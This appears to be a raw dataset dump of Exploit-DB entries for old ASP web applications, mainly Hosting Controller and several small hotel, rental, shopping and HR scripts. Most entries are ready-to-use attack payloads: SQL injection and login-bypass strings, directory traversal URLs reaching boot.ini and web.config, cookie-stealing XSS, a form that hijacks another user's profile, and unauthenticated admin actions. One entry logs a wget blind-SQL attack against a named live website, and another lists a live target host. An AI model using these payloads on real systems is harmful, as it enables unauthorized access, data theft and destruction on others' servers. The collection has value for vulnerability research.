deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27932
Description: Hogstorps Guestbook 2.0 - Unauthorized Access
Type: webapps
Platform: asp
Date: 2006-05-01
Author: omnipresent

Exploit:
source: https://www.securityfocus.com/bid/18205/info

Hogstorps guestbook is prone to an access-authorization vulnerability. The issue occurs because the affected script fails to prompt for authentication credentials. 

An attacker can exploit this issue to delete and modify application data. This could aid in further attacks on the affected computer.

Version 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path_of_application]/admin/radera/tabort.asp?delID=119
Exploit-DB #1015
Description: Hosting Controller 0.6.1 - User Registration (3)
Type: webapps
Platform: asp
Date: 2005-05-27
Author: Soroush Dalili

Exploit:
<!--

Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).

Title: Hosting controller program have a security bug
in "UserProfile.asp" that an authenticated user can
change other's profiles.
Why is it dangerous: a user can change other's email
address and then use forgot password to recieve their
password! also he/she can gain administrator password
by this way!
Version: 6.1 HotFix 2.0 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to
manage a host.

Exploit code to proof:
--------------------------------
Change users profiles: --> 



<form action="http://[URL]/admin//accounts/UserProfile.asp?action=updateprofile" method="post">
Username : <input name="UserList" value="hcadmin" type="text" size="50">
<br>
emailaddress : <input name="emailaddress" value="Crkchat@msn.com" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat" type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>

<!--
-----------------------------------
Now u can use forgot password to gain passwords! -->

# milw0rm.com [2005-05-27]
Exploit-DB #21457
Description: Hosting Controller 1.4 - Import Root Directory Command Execution
Type: webapps
Platform: asp
Date: 2002-05-17
Author: hdlkha

Exploit:
source: https://www.securityfocus.com/bid/4761/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The Import Root Directory (imp_rootdir.asp) script does not force an authentication challenge when accessed, and allows users to perform actions on files and directories below the Hosting Controller administrative root. It is possible to manipulate URL parameters to change the root directory to another arbitrary directory on the system (such as C:).

This may enable a remote attacker to execute arbitrary commands on the underlying system, eventually leading to a full compromise. 

http://target/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\&owwwPath=C:\&oftpPath=C:\
Exploit-DB #21464
Description: Hosting Controller 1.x - 'Browse.asp' File Disclosure
Type: webapps
Platform: asp
Date: 2002-05-19
Author: Bao Dai Nhan

Exploit:
source: https://www.securityfocus.com/bid/4778/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The 'browse.asp' script is prone to an issue which may allow a remote attacker to view the contents of arbitrary files and directories. The attacker must provide a malicious value as a URL parameter in a request for the affected script, which will be read with the privileges of the web server process. 

http://target/admin/browse.asp?FilePath=c:\&Opt=2&level=0
Exploit-DB #28203
Description: Hosting Controller 1.x - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-07-11
Author: Dea7h

Exploit:
source: https://www.securityfocus.com/bid/18933/info

Hosting Controller is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks

Versions 6.1 and prior are affected.

http://www.example.com/admin/hosting/error.asp?error=<script>alert(do cument.cookie)</script>
Exploit-DB #21455
Description: Hosting Controller 1.x - DSNManager Directory Traversal
Type: webapps
Platform: asp
Date: 2002-05-17
Author: hdlkha

Exploit:
source: https://www.securityfocus.com/bid/4759/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The DSNManager script does not sufficiently filter dot-dot-slash (../) sequences from URL parameters, making it prone to directory traversal attacks. An attacker can exploit this condition to disclose the contents of arbitrary web-readable files or potentially add a DSN (Data Source Number) to an arbitrary directory. 

http://target/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=D:\webspace\opendnsserver\targ
et\target.com\db\..\..\..\..\
Exploit-DB #25913
Description: Hosting Controller 6.1 - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-06-28
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/14080/info

Hosting Controller is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'error.asp' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin/hosting/error.asp?error=Xss vul
Exploit-DB #25754
Description: Hosting Controller 6.1 - 'plandetails.asp' Information Disclosure
Type: webapps
Platform: asp
Date: 2005-05-28
Author: GrayHatz Security Group

Exploit:
source: https://www.securityfocus.com/bid/13806/info
 
Hosting Controller is reported prone to multiple vulnerabilities. These issues can allow an attacker gain unauthorized access to data and carry out SQL injection attacks.
 
These issues reportedly affect Hosting Controller 6.1 HotFix 2.0 and prior versions.

http://www.example.com/admin/hosting/plandetails.asp?hostcustid=[PlanID]
Exploit-DB #25753
Description: Hosting Controller 6.1 - 'resellerresources.asp?jresourceid' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-28
Author: GrayHatz Security Group

Exploit:
source: https://www.securityfocus.com/bid/13806/info

Hosting Controller is reported prone to multiple vulnerabilities. These issues can allow an attacker gain unauthorized access to data and carry out SQL injection attacks.

These issues reportedly affect Hosting Controller 6.1 HotFix 2.0 and prior versions. 

http://www.example.com/admin/hosting/resellerresources.asp?action=2&jresourceid=1%20or%201=1
Exploit-DB #25981
Description: Hosting Controller 6.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-07-13
Author: Soroush Dalili

Exploit:
source: https://www.securityfocus.com/bid/14258/info

Hosting Controller is prone to an SQL injection vulnerability.

This issue allows a remote attacker to manipulate query structure and logic. It has been reported that the attacker may gain unauthorized access to sensitive information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. 

One may input this string into the search box on the affected pages:

'or'1'='1'or'1'='1
Exploit-DB #25758
Description: Hosting Controller 6.1 - User Profile Unauthorized Access
Type: webapps
Platform: asp
Date: 2005-05-30
Author: GrayHatz Security Group

Exploit:
source: https://www.securityfocus.com/bid/13816/info

Hosting Controller is prone to an unauthorized access vulnerability.

Reportedly an authenticated user can modify other user's profiles. This issue is due to a failure in the application to perform proper authentication before providing access to 'UserProfile.asp'. 

Change users profiles:
<form
action="http://www.example.com/admin//accounts/UserProfile.asp?action=updateprofile"
method="post">
Username : <input name="UserList" value="hcadmin"
type="text" size="50">
<br>
emailaddress : <input name="emailaddress"
value="Crkchat@msn.com" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat"
type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>
Exploit-DB #2662
Description: Hosting Controller 6.1 Hotfix 3.2 - Access
Type: webapps
Platform: asp
Date: 2006-10-27
Author: Soroush Dalili

Exploit:
Hosting Controller 6.1 Hotfix <= 3.2 Multi Vuln.

SQL_Injection, Command Injection

-------

[KAPDA::59] - Hosting Controller 6.1 Hotfix <= 3.2
Vendor: Hosting Controller
Vendor URL: www.hostingcontroller.com
Solution: Hotfix 3.3
Found Date: 7/1/2006
Release Date: 10/10/2006

Discussion:
--------------------
UnAuthenticated user can
1- delete every sites virtual directory on hc sites
2- make forum virtual directory (with the desire name) for everysites on hc!
3- disable all hc forums by SQL Injection
4- enable all hc forums by SQL Injection

Bugs are available in "DisableForum.asp" and "enableForum.asp" in forum directory.

Exploit: (or POC)
--------------------
1- unAuthenticated user can delete every sites virtual directory on hc sites by forum!
/forum/HCSpecific/DisableForum.asp?action=disableforum&WSiteName=testsite.com&VDirName=test&ForumID=1
-----------------------------------------------------------------
2- unAuthenticated user can make forum virtual directory (with the desire name) for everysites on hc by forum!
/forum/HCSpecific/EnableForum.asp?action=enableforum&WSiteName=testsite.com&VDirName=test&ForumID=
-----------------------------------------------------------------
3- unAuthenticated user can disable all hc forums by SQL_Injection
/forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1
-----------------------------------------------------------------
4- unAuthenticated user can enable all hc forums by SQL_Injection
/forum/HCSpecific/EnableForum.asp?action=enableforum&ForumID=1 or 1=1
--------------------

Credit :
--------------------
Soroush Dalili of Kapda and GSG
IRSDL [4t} kapda <d0t] ir
Kapda - Security Science Researchers Insitute [http://www.KAPDA.ir]
GSG - Grayhatz security group [http://www.Grayhatz.net] 

# milw0rm.com [2006-10-27]
Exploit-DB #29357
Description: Hosting Controller 7C - 'FolderManager.aspx' Directory Traversal
Type: webapps
Platform: asp
Date: 2006-12-27
Author: KAPDA

Exploit:
source: https://www.securityfocus.com/bid/21786/info

Hosting Controller is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to modify or retrieve arbitrary files in the context of the webserver process. This may aid in further attacks.

This issue affects version 7C; earlier versions may also be vulnerable.

http://www.example.com/FolderManager/FolderManager.aspx?BrowseLevel=1&BrowsePath=[SITE NORMAL PATH]\..\..\..\..\program%20files
Exploit-DB #6470
Description: Hotel Reservation System - 'city.asp' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-09-16
Author: JosS

Exploit:
# Hotel reservation System (city.asp city) Blind SQL Injection Vulnerability
# url: http://www.softacid.net/scripts/web-hotel-reservation-system.asp
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website


(blind-way): http://www.localhost/city.asp?city=['foo]

NOTE:     differents injections for each database.
NOTE (2): the Engine Microsoft Access hasn't functions time delay (not benchmark, not waitfor).

Ingenious function (Consultations heavy that generate delays of time):

"MS ACCESS 97, 2000"
1) * (select max(1) from MSysAccessObjects)
2) and (SELECT count(*) from MSysAccessObjects t1, MSysAccessObjects t2, MSysAccessObjects t3, 
MSysAccessObjects t4, MSysAccessObjects t5, MSysAccessObjects t6) > 0 and exists (select * from MSysAccessObjects)

"MS ACCESS 2003, 2007"
1) * (select max(1) from MSysAccessStorage)
2) and (SELECT count(*) from MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, 
MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)


live demo: 
heavy consultation (23:35:51<-->23:36:26):

[quote]
-------------------------------------------------------------------------------------------------------------
joss@h4x0rz:~$ wget -v "http://www.hotelsk.net/city.asp?city=921%20and (SELECT count(*) from 
MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, MSysAccessStorage t4, 
MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)" 
-O result.txt --23:35:51--  http://www.hotelsk.net/city.asp?city=921%20and%20(SELECT%20count(*)%20from%20
MSysAccessStorage%20t1,%20MSysAccessStorage%20t2,%20MSysAccessStorage%20t3,%20MSysAccessStorage%20t4,
%20MSysAccessStorage%20t5,%20MSysAccessStorage%20t6)%20%3E%200%20and%20exists%20(select%20*%20from%20MSysAccessStorage)
           => `result.txt'
Resolviendo www.hotelsk.net... 67.15.59.114
Connecting to www.hotelsk.net|67.15.59.114|:80... conectado.
PeticiÃ³n HTTP enviada, esperando respuesta... 200 OK
Longitud: 4,465 (4.4K) [text/html]

100%[====================================>] 4,465         18.53K/s

23:36:26 (18.53 KB/s) - `result.txt' saved [4465/4465]
------------------------------------------------------------------------------------------------------------
[/quote]

work funny :D - In memory of rgod

# milw0rm.com [2008-09-16]
Exploit-DB #9675
Description: HotWeb Rentals - 'details.asp?PropId' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-09-15
Author: R3d-D3V!L

Exploit:
 [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
[â˜ ]
[~] Tybe:(details.asp PropId) BL!ND SQL Injection Vulnerability
[â˜ ]
[~] Vendor: www.hotwebscripts.co.uk
[â˜ ]
[â˜ ] Software: HotWeb Rentals 
[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
[â˜ ]
[â˜ ] Date: 15.2.2009
[â˜ ]
[â˜ ] Home: CL053D
[â˜ ]
[â˜ ] contact: X@hotmail.co.jp
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] ERR0R CONSOLE

WwW.XxX.CcC/details.asp?PropId=(BL!ND EV!L !NJ3c7!0N)

[â˜ ]SECURE ALERT FR0M 7h3 R3d-D3V!L

[â˜ ] Exploit:

[â˜ ] TRU3 : details.asp?PropId=1+and+1=1


 [â˜ ] FALS3 : details.asp?PropId=1+and+1=2

[â˜ ]liv3 3xpL0!T:
[â˜ ] TRU3 : holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=1
[â˜ ] F4L53 :holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=2


 [â˜ ]

N073:
R34L R3d-D3V!L WAS h3R3 ((â˜ X@Minhal.co.ilâ˜ ))

4R48!4N-HACK3R!!Ø§Ù„Ù‚Ø±Ø§ØµÙ†Ù‡ Ø§Ù„Ø¹Ø±Ø¨

 [~]-----------------------------{str0ke}-----------------------------------------------------

[~] Greetz tO: {str0ke} & XP_10 & Ø±ÙˆØª Ø´ÙŠÙ„ & Ø§Ø¨Ùˆ Ø´Ù‡Ø¯ & B0rN 2 K!LL & JUPA &D3V!L-FUCK3R & Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
 [~]70 ÙALL ARAB!AN HACKER 3X3PT:LAM3RZ
[~] spechial thanks : ((dolly)) & ((7am3m)) &MAGOUSH ;) & EMAD & 0R45h3Y  

 [â˜ ]spechial SupP0RT: MY M!ND -57R0K3-''M!Lw0RM 3MP3R0R''-''3XPLO!T-houSE''

[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --D3V!L R007

  [~]spechial FR!ND: 74M3M ØªÙ…ÙŠÙ…

[~] !'M 4R48!4N 3XPL0!73R.

  [~]

[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-09-15]
Exploit-DB #15688
Description: HotWebScripts HotWeb Rentals - 'resorts.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-05
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: HotWebScripts HotWeb Rentals SQL injection Vulnerability
# Date: 05-12-2010
# Vendor or Software Link: http://www.hotwebscripts.co.uk/
# Category:WebApp
# Price: Â£150
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

DotWeb Rentals is a simple to operate, ASP/Access database application that can be used 
to list property owner's homes for rent. Owners post their home, along with up to 6 images
and a comprehensive list of details. The application is best suited to small to medium 
property rental sites and in particular, to holiday rentals such as Spanish property or
Polaris World type property rentals. 

[Vulnerability]

SQL Injection:

http://server/resorts.asp?PropResort=[code]
########################################################################################
Exploit-DB #2782
Description: Hpecs Shopping Cart - Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Security Access Point

Exploit:
vendor site:http://hpe.net/
product:hpecs shopping cart
bug:injection sql
risk:high


login bypass :
username:     'or''='
passwd:       'or''='

injection sql (post) :

http://site.com/search_list.asp
variables:
Hpecs_Find=maingroup&searchstring='[sql]
 ( or just post your query in the search engine ... )

laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-14]
Exploit-DB #2909
Description: HR Assist 1.05 - 'vdateUsr.asp' Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-12-09
Author: ajann

Exploit:
*******************************************************************************
# Title   :  HR Assist <= 1.05 (vdateUsr.asp) Remote Login ByPass SQL Injection
# Author  :  ajann
# Page    :  http://www.ezhrs.com
# Contact :   :(
# $$$     :  $45

*******************************************************************************
Example:

###http://[target]/[path]/

UserName: ' union select 0,0,0,0,0,0,0,0,0,0,0,0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09]
Exploit-DB #10774
Description: htmlArea 2.03 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : htmlArea v2.03 DB Download Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : htmlArea v2.03                                                          |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/htmlArea/data/newsdata.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #23326
Description: http commander 4.0 - Directory Traversal
Type: webapps
Platform: asp
Date: 2003-11-01
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/8948/info

It has been reported that HTTP Commander is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '../' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

HTTP Commander version 4.0 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/NetDemo2/OpenFile.aspx?file=../../../../../../../../boot.ini

http://www.example.com/NetDemo2/html.aspx?file=../../../../../../../../../boot.ini
Exploit-DB #34920
Description: HttpCombiner ASP.NET - Remote File Disclosure
Type: webapps
Platform: asp
Date: 2014-10-07
Author: Le Ngoc Son

Exploit:
# Exploit Title: HttpCombiner ASP.NET Remote File Disclosure Vulnerability
# Google Dork: [filetype:txt intext:HttpCombiner.ashx]
# Date: 2014-10-10
# Exploit Author: Hoang Anh Thai
# Vendor Homepage: https://myfirstsamplepagebyilyasforassign.googlecode.com/files/HttpCombiner-v1.zip
# Reference: http://www.codeproject.com/KB/aspnet/HttpCombine.aspx
# Affected Versions: HttpCombiner v1.0
# Tested on: Windows 7 / Chrome & Internet Explorer

Description:
============

An HTTP handler that combines multiple CSS, Javascript or URL into one response for faster page load. It can combine, compress and cache response which results in faster page load and better scalability of web application 

It's a good practice to use many small Javascript and CSS files instead of one large Javascript/CSS file for better code maintainability, but bad in terms of website performance. Although you should write your Javascript code in small files and break large CSS files into small chunks but when browser requests those javascript and css files, it makes one Http request per file. Every Http Request results in a network roundtrip form your browser to the server and the delay in reaching the server and coming back to the browser is called latency. So, if you have four javascripts and three css files loaded by a page, you are wasting time in seven network roundtrips. Within USA, latency is average 70ms. So, you waste 7x70 = 490ms, about half a second of delay. Outside USA, average latency is around 200ms. So, that means 1400ms of waiting. Browser cannot show the page properly until Css and Javascripts are fully loaded. So, the more latency you have, the slower page loads.

You can reduce the wait time by using a CDN. Read my previous blog post about using CDN. However, a better solution is to deliver multiple files over one request using an HttpHandler that combines several files and delivers as one output. So, instead of putting many <script> or <link> tag, you just put one <script> and one <link> tag, and point them to the HttpHandler. You tell the handler which files to combine and it delivers those files in one response. This saves browser from making many requests and eliminates the latency. 

This Http Handler reads the file names defined in a configuration and combines all those files and delivers as one response. It delivers the response as gzip compressed to save bandwidth. Moreover, it generates proper cache header to cache the response in browser cache, so that, browser does not request it again on future visit.


PoC:
===

Google search: [inurl:robots.txt intext:HttpCombiner.ashx]

Result: The robots.txt file contains information "...Disallow: /css/HttpCombiner.ashx..."

Exploit view source web.config: http://[host]/css/HttpCombiner.ashx?s=~/web.config&t=text/xml







VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: securitydaily.net
CONTACT: whitehat@hotmail.com